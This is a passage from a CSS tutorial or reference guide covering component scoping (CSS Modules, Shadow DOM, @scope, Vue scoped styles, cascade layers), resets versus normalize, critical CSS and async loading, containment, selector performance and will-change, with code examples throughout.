   - No style caching between renders
   - Larger JavaScript bundle
   - Debugging can be harder */

Example: CSS Modules

/* styles.module.css */
.card {
    background: white;
    padding: 1rem;
    border-radius: 8px;
    box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}

.card-title {
    font-size: 1.5rem;
    margin-bottom: 0.5rem;
    color: #333;
}

.card-body {
    line-height: 1.6;
    color: #666;
}

.button {
    padding: 0.5rem 1rem;
    border: none;
    border-radius: 4px;
    cursor: pointer;
}

.button-primary {
    background: #007acc;
    color: white;
}

/* Composes (reuse other classes) */
.button-large {
    composes: button;
    padding: 0.75rem 1.5rem;
    font-size: 1.125rem;
}

/* Global styles */
:global(.global-class) {
    /* Not scoped */
}

/* JavaScript usage */
/*
import styles from './styles.module.css';

function Card() {
    return (
        <div className={styles.card}>
            <h2 className={styles.cardTitle}>Title</h2>
            <p className={styles.cardBody}>Content</p>
            <button className={styles.buttonPrimary}>Action</button>
        </div>
    );
}

// Generated HTML:
// <div class="styles_card__Ab3D">
//   <h2 class="styles_cardTitle__Xy2Z">Title</h2>
// </div>
*/

/* Advantages:
   - Automatic local scoping
   - Standard CSS syntax
   - Build-time processing
   - Works with preprocessors
   
   Disadvantages:
   - Build step required
   - Import in every component
   - Separate files to maintain */

Example: Utility-first (Tailwind CSS style)

/* Configuration (tailwind.config.js) */
/*
module.exports = {
    theme: {
        extend: {
            colors: {
                primary: '#007acc',
            }
        }
    }
}
*/

/* HTML with utility classes */
/*
<div class="bg-white rounded-lg shadow-md p-4 max-w-md mx-auto">
    <h2 class="text-2xl font-bold mb-2 text-gray-800">Card Title</h2>
    <p class="text-gray-600 leading-relaxed mb-4">
        Card content with consistent spacing and typography.
    </p>
    <div class="flex gap-2">
        <button class="bg-primary text-white px-4 py-2 rounded hover:bg-blue-700 transition">
            Primary
        </button>
        <button class="bg-gray-500 text-white px-4 py-2 rounded hover:bg-gray-600 transition">
            Secondary
        </button>
    </div>
</div>

<!-- Responsive utilities -->
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4">
    <!-- Content -->
</div>

<!-- State variants -->
<button class="bg-blue-500 hover:bg-blue-700 active:bg-blue-800 focus:ring-2 focus:ring-blue-300">
    Button
</button>
*/

/* Custom utilities (if needed) */
@layer utilities {
    .text-balance {
        text-wrap: balance;
    }
    
    .bg-grid {
        background-image: 
            linear-gradient(#e5e5e5 1px, transparent 1px),
            linear-gradient(90deg, #e5e5e5 1px, transparent 1px);
        background-size: 20px 20px;
    }
}

/* Component extraction */
@layer components {
    .btn-primary {
        @apply bg-primary text-white px-4 py-2 rounded hover:bg-blue-700 transition;
    }
    
    .card {
        @apply bg-white rounded-lg shadow-md p-4;
    }
}

/* Advantages:
   - Very fast development
   - Small CSS bundle (unused purged)
   - Consistent design system
   - No naming required
   
   Disadvantages:
   - Many classes in HTML
   - Learning curve for syntax
   - Harder to read HTML
   - Customization requires config */

Example: Comparison of approaches

/* Traditional CSS */
.button {
    padding: 0.5rem 1rem;
    background: #007acc;
    color: white;
    border: none;
    border-radius: 4px;
}

/* HTML: <button class="button">Click</button> */

/* CSS Modules (button.module.css) */
.button {
    padding: 0.5rem 1rem;
    background: #007acc;
    color: white;
    border: none;
    border-radius: 4px;
}

/* JS: import styles from './button.module.css' */
/* HTML: <button className={styles.button}>Click</button> */

/* CSS-in-JS (styled-components) */
/*
const Button = styled.button`
    padding: 0.5rem 1rem;
    background: #007acc;
    color: white;
    border: none;
    border-radius: 4px;
`;

HTML: <Button>Click</Button>
*/

/* Utility-first (Tailwind) */
/* HTML: <button class="px-4 py-2 bg-blue-600 text-white rounded">Click</button> */

/* Decision matrix:
   - Large team, consistency → Utility-first (Tailwind)
   - React/component focus → CSS-in-JS or CSS Modules
   - Simple sites, fast load → Traditional CSS
   - Build complexity tolerance → Any modern approach
   - Dynamic theming needs → CSS Variables + any approach */
Warning: CSS-in-JS has runtime cost. CSS Modules require build step. Utility-first creates HTML bloat. Choose based on team, project size, and performance needs. Modern approaches: CSS Modules + CSS Variables, or Tailwind with @apply for extraction.

15.3 Component-scoped CSS Strategies

Strategy Technique Scope Mechanism Use Case
Shadow DOM Web Components encapsulation Browser-native isolation True component isolation, framework-agnostic
CSS Modules Build-time class name hashing Unique class names per component React, Vue, Angular projects
Scoped Styles (Vue) Add unique attribute to elements Attribute selectors Vue single-file components
CSS-in-JS Generate unique class names at runtime Automatic hashing React applications
@scope NEW Native CSS scoping rule Lexical scoping boundaries Modern browsers, framework-agnostic
BEM Convention Strict naming methodology Manual namespacing Any project, no build required
CSS Cascade Layers @layer for specificity control Layer-based isolation Organize component styles by priority

Example: Shadow DOM component scoping

/* Web Component with Shadow DOM */
/*
class MyCard extends HTMLElement {
    constructor() {
        super();
        const shadow = this.attachShadow({ mode: 'open' });
        
        shadow.innerHTML = `
            <style>
                /* Styles are completely isolated */
                :host {
                    display: block;
                    background: white;
                    border-radius: 8px;
                    padding: 1rem;
                    box-shadow: 0 2px 4px rgba(0,0,0,0.1);
                }
                
                .title {
                    font-size: 1.5rem;
                    margin-bottom: 0.5rem;
                }
                
                .content {
                    line-height: 1.6;
                }
                
                ::slotted(button) {
                    padding: 0.5rem 1rem;
                    background: #007acc;
                    color: white;
                    border: none;
                    border-radius: 4px;
                }
            </style>
            
            <div class="card">
                <h2 class="title"><slot name="title"></slot></h2>
                <div class="content"><slot></slot></div>
                <slot name="actions"></slot>
            </div>
        `;
    }
}

customElements.define('my-card', MyCard);

// Usage:
<my-card>
    <span slot="title">Card Title</span>
    <p>Card content</p>
    <button slot="actions">Action</button>
</my-card>
*/

/* Advantages:
   - True encapsulation
   - No style leaking
   - Framework-agnostic
   - Browser-native
   
   Challenges:
   - Cannot style from outside
   - Limited global theme support
   - Learning curve */

Example: CSS @scope (modern native scoping)

/* Native CSS scoping (Chrome 118+) */

/* Scope styles to .card component */
@scope (.card) {
    /* Only applies inside .card */
    h2 {
        font-size: 1.5rem;
        margin-bottom: 0.5rem;
    }
    
    p {
        line-height: 1.6;
        color: #666;
    }
    
    button {
        padding: 0.5rem 1rem;
        background: #007acc;
        color: white;
        border: none;
        border-radius: 4px;
    }
}

/* Scope with exclusion boundary */
@scope (.card) to (.nested-card) {
    /* Applies inside .card but NOT inside .nested-card */
    p {
        color: #333;
    }
}

/* Multiple scopes */
@scope (.header) {
    nav {
        display: flex;
        gap: 1rem;
    }
}

@scope (.footer) {
    nav {
        display: block;  /* Different nav styling */
    }
}

/* Using :scope pseudo-class */
@scope (.card) {
    :scope {
        /* Styles the .card itself */
        background: white;
        padding: 1rem;
        border-radius: 8px;
    }
    
    :scope > h2 {
        /* Direct child h2 of .card */
        border-bottom: 2px solid #007acc;
    }
}

/* Practical example: Modal component */
@scope (.modal) {
    :scope {
        position: fixed;
        inset: 0;
        display: flex;
        align-items: center;
        justify-content: center;
        background: rgba(0,0,0,0.5);
    }
    
    .modal-content {
        background: white;
        padding: 2rem;
        border-radius: 8px;
        max-width: 500px;
        width: 90%;
    }
    
    h2 {
        margin-top: 0;
    }
    
    button {
        margin-top: 1rem;
    }
}

Example: Vue scoped styles

/* Vue Single File Component */
/*
<template>
    <div class="card">
        <h2 class="card-title">{{ title }}</h2>
        <p class="card-content">{{ content }}</p>
        <button class="card-button">Action</button>
    </div>
</template>

<style scoped>
.card {
    background: white;
    padding: 1rem;
    border-radius: 8px;
}

.card-title {
    font-size: 1.5rem;
    margin-bottom: 0.5rem;
}

.card-content {
    line-height: 1.6;
    color: #666;
}

.card-button {
    padding: 0.5rem 1rem;
    background: #007acc;
    color: white;
    border: none;
    border-radius: 4px;
}

/* Generated HTML:
<div class="card" data-v-f3f3eg9>
    <h2 class="card-title" data-v-f3f3eg9>...</h2>
</div>

Generated CSS:
.card[data-v-f3f3eg9] { ... }
.card-title[data-v-f3f3eg9] { ... }
*/

/* Deep selector for child components */
.card :deep(.child-component) {
    margin-top: 1rem;
}

/* Slotted content */
.card :slotted(button) {
    margin-left: 0.5rem;
}

/* Global styles within scoped */
:global(.global-class) {
    /* Not scoped */
}
</style>
*/

Example: Cascade layers for component organization

/* Define layer order (low to high priority) */
@layer reset, base, components, utilities, overrides;

/* Reset layer (lowest priority) */
@layer reset {
    * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
    }
}

/* Base layer */
@layer base {
    body {
        font-family: sans-serif;
        line-height: 1.6;
        color: #333;
    }
    
    a {
        color: #007acc;
    }
}

/* Components layer */
@layer components {
    .card {
        background: white;
        padding: 1rem;
        border-radius: 8px;
        box-shadow: 0 2px 4px rgba(0,0,0,0.1);
    }
    
    .button {
        padding: 0.5rem 1rem;
        border: none;
        border-radius: 4px;
        cursor: pointer;
    }
    
    .button-primary {
        background: #007acc;
        color: white;
    }
}

/* Utilities layer */
@layer utilities {
    .text-center {
        text-align: center;
    }
    
    .mt-1 {
        margin-top: 0.5rem;
    }
    
    .hidden {
        display: none;
    }
}

/* Overrides layer (highest priority) */
@layer overrides {
    .force-visible {
        display: block !important;
    }
}

/* Unlayered styles have highest priority */
.emergency-override {
    color: red;
}

/* Import layers */
@import url('reset.css') layer(reset);
@import url('components.css') layer(components);

/* Nested layers */
@layer components {
    @layer cards, buttons, forms;
    
    @layer cards {
        .card { /* ... */ }
    }
    
    @layer buttons {
        .button { /* ... */ }
    }
}
Note: Use Shadow DOM for true isolation, CSS Modules for React/build tools, @scope for modern native scoping. Cascade layers organize component priority. BEM works everywhere without tooling.

15.4 CSS Reset vs Normalize vs Modern-normalize

Approach Philosophy Size Use Case
CSS Reset (Meyer/Universal) Remove ALL browser defaults ~1-2 KB Start from absolute zero, full control
Normalize.css Preserve useful defaults, fix bugs ~8 KB Consistent cross-browser styling
Modern-normalize Normalize for modern browsers only ~2 KB Modern browsers (no IE support)
Sanitize.css Normalize + opinionated defaults ~10 KB Good defaults out of the box
Custom Reset Minimal project-specific reset <1 KB Tailored to specific needs

Example: CSS Reset (Meyer style)

/* Classic CSS Reset - removes everything */
* {
    margin: 0;
    padding: 0;
    border: 0;
    font-size: 100%;
    font: inherit;
    vertical-align: baseline;
}

/* HTML5 display-role reset */
article, aside, details, figcaption, figure,
footer, header, hgroup, menu, nav, section {
    display: block;
}

body {
    line-height: 1;
}

ol, ul {
    list-style: none;
}

blockquote, q {
    quotes: none;
}

blockquote:before, blockquote:after,
q:before, q:after {
    content: '';
    content: none;
}

table {
    border-collapse: collapse;
    border-spacing: 0;
}

/* Modern universal reset */
*, *::before, *::after {
    box-sizing: border-box;
}

* {
    margin: 0;
    padding: 0;
}

html, body {
    height: 100%;
}

body {
    line-height: 1.5;
    -webkit-font-smoothing: antialiased;
}

img, picture, video, canvas, svg {
    display: block;
    max-width: 100%;
}

input, button, textarea, select {
    font: inherit;
}

p, h1, h2, h3, h4, h5, h6 {
    overflow-wrap: break-word;
}

/* Advantages:
   - Complete control
   - Minimal file size
   - No surprises
   
   Disadvantages:
   - Must rebuild everything
   - Removes useful defaults */

Example: Modern-normalize (modern browsers)

/* Modern-normalize highlights (simplified) */

/* Document */
*, *::before, *::after {
    box-sizing: border-box;
}

html {
    line-height: 1.15;
    -webkit-text-size-adjust: 100%;
    tab-size: 4;
}

body {
    margin: 0;
    font-family: system-ui, -apple-system, sans-serif;
}

/* Sections */
h1 {
    font-size: 2em;
    margin: 0.67em 0;
}

/* Grouping content */
hr {
    height: 0;
    color: inherit;
}

/* Text-level semantics */
abbr[title] {
    text-decoration: underline dotted;
}

b, strong {
    font-weight: bolder;
}

code, kbd, samp, pre {
    font-family: ui-monospace, monospace;
    font-size: 1em;
}

small {
    font-size: 80%;
}

/* Forms */
button, input, optgroup, select, textarea {
    font-family: inherit;
    font-size: 100%;
    line-height: 1.15;
    margin: 0;
}

button, select {
    text-transform: none;
}

button, [type='button'], [type='reset'], [type='submit'] {
    -webkit-appearance: button;
}

/* Interactive */
summary {
    display: list-item;
}

/* Advantages:
   - Keeps useful defaults
   - Cross-browser consistency
   - Well-documented
   - Small size for modern browsers */

Example: Custom minimal reset (modern approach)

/* Minimal modern reset - best practices */

/* Box sizing */
*, *::before, *::after {
    box-sizing: border-box;
}

/* Remove default margin */
* {
    margin: 0;
}

/* Body defaults */
body {
    line-height: 1.5;
    -webkit-font-smoothing: antialiased;
}

/* Media defaults */
img, picture, video, canvas, svg {
    display: block;
    max-width: 100%;
}

/* Form element font inheritance */
input, button, textarea, select {
    font: inherit;
}

/* Text overflow */
p, h1, h2, h3, h4, h5, h6 {
    overflow-wrap: break-word;
}

/* Remove list styles on ul, ol with role="list" */
ul[role='list'], ol[role='list'] {
    list-style: none;
}

/* Root stacking context */
#root, #__next {
    isolation: isolate;
}

/* Focus visible */
:focus-visible {
    outline: 2px solid currentColor;
    outline-offset: 2px;
}

/* Remove animations for people who've turned them off */
@media (prefers-reduced-motion: reduce) {
    *, *::before, *::after {
        animation-duration: 0.01ms !important;
        animation-iteration-count: 1 !important;
        transition-duration: 0.01ms !important;
        scroll-behavior: auto !important;
    }
}

/* Additional useful resets */
a {
    color: inherit;
    text-decoration: none;
}

button {
    cursor: pointer;
    background: none;
    border: none;
    padding: 0;
}

/* This reset:
   - Minimal but effective
   - Modern best practices
   - Accessibility-aware
   - Easy to customize */

Example: Comparison and decision guide

/* Decision matrix:

1. Use CSS Reset (Meyer/Universal) when:
   - You want absolute control
   - Building from scratch
   - Don't need semantic defaults
   - Want smallest possible base

2. Use Normalize.css when:
   - Need cross-browser consistency
   - Want to preserve useful defaults
   - Supporting older browsers
   - Standard approach

3. Use Modern-normalize when:
   - Only supporting modern browsers
   - Want normalize benefits but smaller
   - No IE11 support needed
   - Modern project (2020+)

4. Use Custom/Minimal Reset when:
   - Have specific requirements
   - Want to understand every line
   - Very small footprint needed
   - Project-specific needs

5. Use Sanitize.css when:
   - Want opinionated defaults
   - Need forms to look consistent
   - Want normalize + extras
   - Don't want to set common styles
*/

/* Recommended modern approach: */
/* 1. Start with modern-normalize or minimal reset */
/* 2. Add project-specific base styles */
/* 3. Use CSS custom properties for tokens */
/* 4. Build component styles on top */

/* Example base after reset */
:root {
    --font-sans: system-ui, -apple-system, sans-serif;
    --font-mono: ui-monospace, monospace;
    --color-text: #1a1a1a;
    --color-bg: #ffffff;
    --spacing-unit: 0.5rem;
}

body {
    font-family: var(--font-sans);
    color: var(--color-text);
    background: var(--color-bg);
}

h1, h2, h3, h4, h5, h6 {
    font-weight: 600;
    line-height: 1.2;
}

code, pre {
    font-family: var(--font-mono);
}

a {
    color: #007acc;
    text-decoration: none;
}

a:hover {
    text-decoration: underline;
}
Warning: Don't use both reset and normalize together. CSS Reset removes useful defaults that you'll need to rebuild. Modern projects should use modern-normalize or custom minimal reset. Always include box-sizing: border-box.

15.5 Critical CSS and Above-fold Optimization

Technique Description Impact Implementation
Critical CSS Inline above-fold styles in HTML Eliminates render-blocking CSS Extract and inline critical styles
CSS Splitting Separate critical from non-critical Faster initial render Build tool configuration
Async CSS Loading Load non-critical CSS asynchronously Non-blocking page load Media query trick or JS
Preload Hint browser to load CSS early Faster CSS discovery <link rel="preload">
CSS Containment Isolate subtrees for rendering Better paint performance contain: layout paint
Content-visibility Skip rendering off-screen content Faster initial render content-visibility: auto

Example: Critical CSS inline pattern

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    
    <!-- Critical CSS inlined -->
    <style>
        /* Only above-the-fold styles */
        body {
            margin: 0;
            font-family: system-ui, sans-serif;
            line-height: 1.6;
        }
        
        .header {
            background: #fff;
            border-bottom: 1px solid #e0e0e0;
            padding: 1rem 2rem;
        }
        
        .hero {
            min-height: 60vh;
            display: flex;
            align-items: center;
            justify-content: center;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
        }
        
        .hero h1 {
            font-size: clamp(2rem, 5vw, 4rem);
            margin: 0;
        }
        
        /* Loading state for below-fold */
        .below-fold {
            min-height: 100px;
            background: #f5f5f5;
        }
    </style>
    
    <!-- Preload full stylesheet -->
    <link rel="preload" href="/styles/main.css" as="style">
    
    <!-- Async load non-critical CSS -->
    <link rel="stylesheet" href="/styles/main.css" media="print" onload="this.media='all'">
    <noscript><link rel="stylesheet" href="/styles/main.css"></noscript>
</head>
<body>
    <header class="header">
        <!-- Header content -->
    </header>
    
    <section class="hero">
        <h1>Welcome</h1>
    </section>
    
    <main class="below-fold">
        <!-- Rest of content -->
    </main>
</body>
</html>

/* Tools for extracting critical CSS:
   - Critical (npm package)
   - PurgeCSS
   - Critters (Next.js/Angular)
   - Penthouse
   - Online tools: criticalcss.com
*/

Example: Async CSS loading patterns

<!-- Method 1: Media query trick (most compatible) -->
<link rel="stylesheet" href="styles.css" media="print" onload="this.media='all'">
<noscript><link rel="stylesheet" href="styles.css"></noscript>

<!-- Method 2: JavaScript loading -->
<script>
    function loadCSS(href) {
        const link = document.createElement('link');
        link.rel = 'stylesheet';
        link.href = href;
        document.head.appendChild(link);
    }
    
    // Load when DOM is ready
    if (document.readyState === 'complete') {
        loadCSS('/styles/main.css');
    } else {
        window.addEventListener('load', () => loadCSS('/styles/main.css'));
    }
</script>

<!-- Method 3: Preload + async apply -->
<link rel="preload" href="styles.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="styles.css"></noscript>

<!-- Method 4: LoadCSS library (polyfill) -->
<script>
/*! loadCSS. [c]2017 Filament Group, Inc. MIT License */
(function(w){
    "use strict";
    var loadCSS = function(href, before, media){
        var doc = w.document;
        var ss = doc.createElement("link");
        var ref;
        if(before){
            ref = before;
        } else {
            var refs = (doc.body || doc.getElementsByTagName("head")[0]).childNodes;
            ref = refs[refs.length - 1];
        }
        
        var sheets = doc.styleSheets;
        ss.rel = "stylesheet";
        ss.href = href;
        ss.media = "only x";
        
        function ready(cb){
            if(doc.body){
                return cb();
            }
            setTimeout(function(){
                ready(cb);
            });
        }
        
        ready(function(){
            ref.parentNode.insertBefore(ss, (before ? ref : ref.nextSibling));
        });
        
        var onloadcssdefined = function(cb){
            var resolvedHref = ss.href;
            var i = sheets.length;
            while(i--){
                if(sheets[i].href === resolvedHref){
                    return cb();
                }
            }
            setTimeout(function(){
                onloadcssdefined(cb);
            });
        };
        
        function loadCB(){
            if(ss.addEventListener){
                ss.removeEventListener("load", loadCB);
            }
            ss.media = media || "all";
        }
        
        if(ss.addEventListener){
            ss.addEventListener("load", loadCB);
        }
        ss.onloadcssdefined = onloadcssdefined;
        onloadcssdefined(loadCB);
        return ss;
    };
    
    if(typeof exports !== "undefined"){
        exports.loadCSS = loadCSS;
    } else {
        w.loadCSS = loadCSS;
    }
}(typeof global !== "undefined" ? global : this));

// Usage
loadCSS("/path/to/stylesheet.css");
</script>

Example: Content-visibility optimization

/* Optimize rendering of off-screen content */

/* Skip rendering until near viewport */
.article-section {
    content-visibility: auto;
    contain-intrinsic-size: auto 500px;  /* Estimated height */
}

/* Critical above-fold content */
.hero {
    content-visibility: visible;  /* Always render */
}

/* Below-fold content */
.comments-section {
    content-visibility: auto;
    contain-intrinsic-size: auto 800px;
}

.related-articles {
    content-visibility: auto;
    contain-intrinsic-size: auto 400px;
}

/* Long list optimization */
.long-list-item {
    content-visibility: auto;
    contain-intrinsic-size: auto 100px;
}

/* Performance gains:
   - Faster initial render
   - Reduced layout calculation
   - Lower memory usage
   - Smoother scrolling
*/

/* CSS Containment for isolated components */
.card {
    contain: layout paint;
    /* Layout and paint isolated from rest of page */
}

.widget {
    contain: layout style paint;
    /* Even more isolated */
}

/* Full containment */
.independent-component {
    contain: strict;
    /* Maximum isolation, but requires size */
    width: 300px;
    height: 400px;
}

/* Use for:
   - Independent widgets
   - List items
   - Cards
   - Modals
   - Sidebars
*/

Example: Build-time optimization strategies

/* webpack.config.js or similar build config */
/*
const MiniCssExtractPlugin = require('mini-css-extract-plugin');
const CssMinimizerPlugin = require('css-minimizer-webpack-plugin');

module.exports = {
    optimization: {
        minimizer: [
            new CssMinimizerPlugin(),
        ],
        splitChunks: {
            cacheGroups: {
                styles: {
                    name: 'styles',
                    type: 'css/mini-extract',
                    chunks: 'all',
                    enforce: true,
                },
            },
        },
    },
    plugins: [
        new MiniCssExtractPlugin({
            filename: '[name].[contenthash].css',
        }),
    ],
};
*/

/* PostCSS configuration */
/*
module.exports = {
    plugins: [
        require('autoprefixer'),
        require('cssnano')({
            preset: ['default', {
                discardComments: {
                    removeAll: true,
                },
            }],
        }),
        require('@fullhuman/postcss-purgecss')({
            content: ['./src/!**!/!*.html', './src/!**!/!*.js'],
            defaultExtractor: content => content.match(/[\w-/:]+(?<!:)/g) || []
        }),
    ],
};
*/

/* Critical CSS extraction (Node.js) */
/*
const critical = require('critical');

critical.generate({
    base: 'dist/',
    src: 'index.html',
    target: 'index-critical.html',
    inline: true,
    width: 1300,
    height: 900,
    minify: true,
});
*/

/* Performance checklist:
   1. Inline critical CSS (<14KB gzipped)
   2. Async load non-critical CSS
   3. Remove unused CSS (PurgeCSS)
   4. Minify CSS (cssnano)
   5. Use content-visibility for long pages
   6. Add CSS containment to components
   7. Preload key stylesheets
   8. Split CSS by route/page
   9. Use HTTP/2 server push (optional)
   10. Monitor CSS bundle size
*/

CSS Architecture Best Practices

  • Choose naming convention early: BEM for components, prefixes for SMACSS
  • CSS Modules or @scope for automatic scoping in modern apps
  • Utility-first (Tailwind) for rapid development, extract components with @apply
  • Use modern-normalize or custom minimal reset for modern browsers
  • Inline critical CSS (<14KB), async load rest for best performance
  • Apply content-visibility: auto to off-screen sections
  • Use contain: layout paint on independent components
  • Organize with cascade layers (@layer) for predictable specificity
  • Split CSS by route/page, preload critical resources
  • Monitor bundle size, remove unused CSS with PurgeCSS

16. CSS Performance Optimization

16.1 Selector Performance and Efficiency

Selector Type Performance Reason Example
ID Selector Fastest Direct hash lookup #header { }
Class Selector Very Fast Indexed by browser .button { }
Tag Selector Fast Grouped by element type div { }
Pseudo-class Moderate Requires state checking :hover, :focus
Attribute Selector Moderate Must scan attributes [type="text"]
Universal Selector Slow Matches all elements * { }
Complex Selector Slower Right-to-left matching .nav li a span
:has() Selector Slowest Must check descendants div:has(> p)

Example: Selector efficiency comparison

/* FAST - Use specific classes */
.header { }
.nav-item { }
.button-primary { }

/* SLOWER - Avoid deep nesting */
.header nav ul li a span {
    /* Browser reads right-to-left:
       1. Find all span elements
       2. Check if inside a
       3. Check if inside li
       4. Check if inside ul
       5. Check if inside nav
       6. Check if inside .header */
}

/* BETTER - Flatten with specific class */
.nav-link-text { }

/* SLOW - Universal selector */
* {
    box-sizing: border-box;  /* OK for reset, avoid elsewhere */
}

.widget * {
    /* Matches EVERY descendant - expensive */
}

/* SLOWER - Unqualified attribute selector */
[type="text"] {
    /* Must check every element for type attribute */
}

/* BETTER - Qualify with tag */
input[type="text"] {
    /* Only checks input elements */
}

/* SLOW - Over-specific */
div#header div.nav ul li a.link {
    /* Unnecessary specificity */
}

/* FAST - Use BEM or single class */
.header-nav-link { }

/* Modern :has() - use sparingly */
article:has(img) {
    /* Finds articles containing images - expensive */
}

/* Performance tips:
   1. Use classes over tags + classes: .button not button.button
   2. Avoid universal selector *
   3. Avoid over-qualifying: .class not div.class
   4. Keep nesting shallow (1-3 levels max)
   5. Use specific classes instead of descendant selectors
   6. Browsers optimize right-to-left matching
*/

Example: Selector optimization patterns

/* ❌ BAD: Deep nesting, over-qualified */
body div.container section#main article.post div.content p.text span.highlight {
    color: yellow;
}

/* ✅ GOOD: Single specific class */
.text-highlight {
    color: yellow;
}

/* ❌ BAD: Universal child selector */
.sidebar * {
    margin: 0;
}

/* ✅ GOOD: Specific elements */
.sidebar h3,
.sidebar p,
.sidebar ul {
    margin: 0;
}

/* ❌ BAD: Attribute selector alone */
[data-active="true"] {
    background: blue;
}

/* ✅ GOOD: Qualified attribute selector */
.tab[data-active="true"] {
    background: blue;
}

/* ❌ BAD: Over-qualified */
ul.nav li.nav-item a.nav-link {
    /* Unnecessary tag selectors */
}

/* ✅ GOOD: BEM classes */
.nav__item-link {
    /* Single class, clear semantics */
}

/* ❌ BAD: Complex pseudo-class chains */
.menu li:first-child:last-child:only-child a:hover:focus {
    /* Too complex */
}

/* ✅ GOOD: Simpler, specific */
.menu-single-item-link:hover,
.menu-single-item-link:focus {
    /* More readable, equally specific */
}

/* Modern optimization: use :is() to reduce specificity */
/* ❌ BAD: High specificity */
.header nav ul li a { }
.footer nav ul li a { }
.sidebar nav ul li a { }

/* ✅ GOOD: Lower specificity with :is() */
:is(.header, .footer, .sidebar) .nav-link { }

/* Use :where() for zero specificity */
:where(.header, .footer) .nav-link {
    /* Specificity: (0,1,0) - just .nav-link */
}

/* Performance measurement */
/* Use browser DevTools:
   - Chrome: Performance tab → Recalculate Style
   - Firefox: Performance tool → Styles
   - Look for selector matching time
*/
Note: Modern browsers are very fast at selector matching. Optimize for maintainability first, then performance. Avoid over-nesting (3+ levels), universal selectors in large scopes, and unqualified attribute selectors. Use :is() and :where() to simplify complex selectors.

16.2 CSS Containment for Performance

Containment Type Property Value What It Does Use Case
Layout Containment contain: layout Isolates layout calculations Independent widgets, cards
Paint Containment contain: paint Limits painting to bounds Components with overflow
Size Containment contain: size Ignores children for sizing Fixed-size containers
Style Containment contain: style Isolates counter/quote styles Rare, specific cases
Content Containment contain: content layout + paint + style Independent components
Strict Containment contain: strict All containment types Maximum isolation
Inline Size contain: inline-size Contains inline axis only Container queries
Content Visibility content-visibility: auto Skip rendering off-screen Long pages, lists

Example: CSS containment implementation

/* Layout containment: isolate layout */
.card {
    contain: layout;
    /* Layout changes inside .card don't affect outside */
    /* float, clear, margin collapse isolated */
}

/* Paint containment: clip to bounds */
.widget {
    contain: paint;
    /* Content can't paint outside widget bounds */
    /* Creates stacking context */
    /* overflow clipping applied */
}

/* Size containment: ignore children */
.fixed-container {
    contain: size;
    width: 300px;
    height: 400px;
    /* Size is fixed, children don't affect it */
    /* MUST specify dimensions */
}

/* Content containment: layout + paint + style */
.component {
    contain: content;
    /* Most common for independent components */
}

/* Strict containment: maximum isolation */
.isolated-widget {
    contain: strict;  /* size + layout + paint + style */
    width: 400px;
    height: 300px;
    /* Completely isolated from rest of page */
}

/* Inline-size containment: for container queries */
.container {
    contain: inline-size layout style;
    container-type: inline-size;
    /* Required for container queries */
}

/* Combined containment */
.card-list-item {
    contain: layout paint;
    /* Most practical combination */
    /* No size requirement */
}

/* Content-visibility: automatic rendering */
.article-section {
    content-visibility: auto;
    contain-intrinsic-size: auto 500px;
    /* Browser skips rendering until near viewport */
    /* Massive performance boost for long pages */
}

/* Long list optimization */
.list-item {
    content-visibility: auto;
    contain-intrinsic-size: auto 100px;
}

/* Nested containment */
.page-section {
    contain: layout paint;
}

.page-section .card {
    contain: layout paint;
    /* Further isolation */
}

/* Performance impact:
   - 30-50% faster layout for complex pages
   - Reduced paint time
   - Better scroll performance
   - Lower memory usage
*/

Example: Content-visibility with intersection observer

/* CSS: Skip rendering off-screen sections */
.article-section {
    content-visibility: auto;
    contain-intrinsic-size: auto 800px;  /* Estimated height */
}

.comment-section {
    content-visibility: auto;
    contain-intrinsic-size: auto 600px;
}

/* More control with hidden/visible */
.below-fold {
    content-visibility: hidden;  /* Always skip */
}

.above-fold {
    content-visibility: visible;  /* Always render */
}

/* JavaScript: Toggle rendering based on visibility */
/*
const observer = new IntersectionObserver((entries) => {
    entries.forEach(entry => {
        if (entry.isIntersecting) {
            entry.target.style.contentVisibility = 'visible';
        } else {
            entry.target.style.contentVisibility = 'hidden';
        }
    });
}, {
    rootMargin: '100px'  // Start rendering 100px before visible
});

document.querySelectorAll('.lazy-section').forEach(section => {
    observer.observe(section);
});
*/

/* Contain-intrinsic-size: preserve layout space */
.lazy-section {
    content-visibility: auto;
    /* Multiple values for width and height */
    contain-intrinsic-size: 1000px 800px;
}

/* Auto with fallback */
.dynamic-section {
    content-visibility: auto;
    contain-intrinsic-size: auto 500px;
    /* auto uses last rendered size, 500px is initial */
}

/* Performance benefits:
   - 50-90% faster initial render on long pages
   - Reduced memory usage
   - Smoother scrolling
   - Faster time-to-interactive
*/

/* When to use:
   - Long articles with many sections
   - Infinite scroll lists
   - Tabbed content (hidden tabs)
   - Collapsed accordions
   - Off-screen modals
*/
Warning: contain: size and contain: strict require explicit dimensions. content-visibility: auto can cause scrollbar jumping if contain-intrinsic-size estimate is wrong. Test with DevTools Performance tab to measure impact.

16.3 will-change Property Optimization

will-change Value Optimization Cost Best Practice
transform Creates GPU layer High memory Use before animation, remove after
opacity GPU compositing Medium memory For fade animations
scroll-position Optimize scrolling Low For scroll-driven effects
contents General optimization hint Variable When specific property unknown
Multiple properties will-change: transform, opacity Very high Avoid, use sparingly
auto No special optimization None Default, remove hint

Example: Correct will-change usage

/* ❌ BAD: Don't apply to many elements */
* {
    will-change: transform;  /* Memory explosion! */
}

/* ❌ BAD: Don't apply in stylesheet permanently */
.element {
    will-change: transform;  /* Always uses extra memory */
}

/* ✅ GOOD: Apply just before animation */
.element {
    transition: transform 0.3s;
}

.element:hover {
    will-change: transform;  /* Hint applied on hover */
    transform: scale(1.1);
}

/* ✅ BETTER: Add/remove with JavaScript */
/*
const element = document.querySelector('.animate-me');

// Before animation
element.style.willChange = 'transform';

// Start animation
element.classList.add('animated');

// After animation completes (listen to transitionend)
element.addEventListener('transitionend', () => {
    element.style.willChange = 'auto';  // Remove hint
});
*/

/* Practical pattern: Modal animation */
.modal {
    opacity: 0;
    transform: translateY(-50px);
    transition: opacity 0.3s, transform 0.3s;
}

.modal.opening {
    will-change: opacity, transform;
    /* Add before showing */
}

.modal.visible {
    opacity: 1;
    transform: translateY(0);
}

.modal.closing {
    will-change: auto;  /* Remove optimization */
}

/* Scroll-driven animation */
.parallax-section {
    will-change: transform;
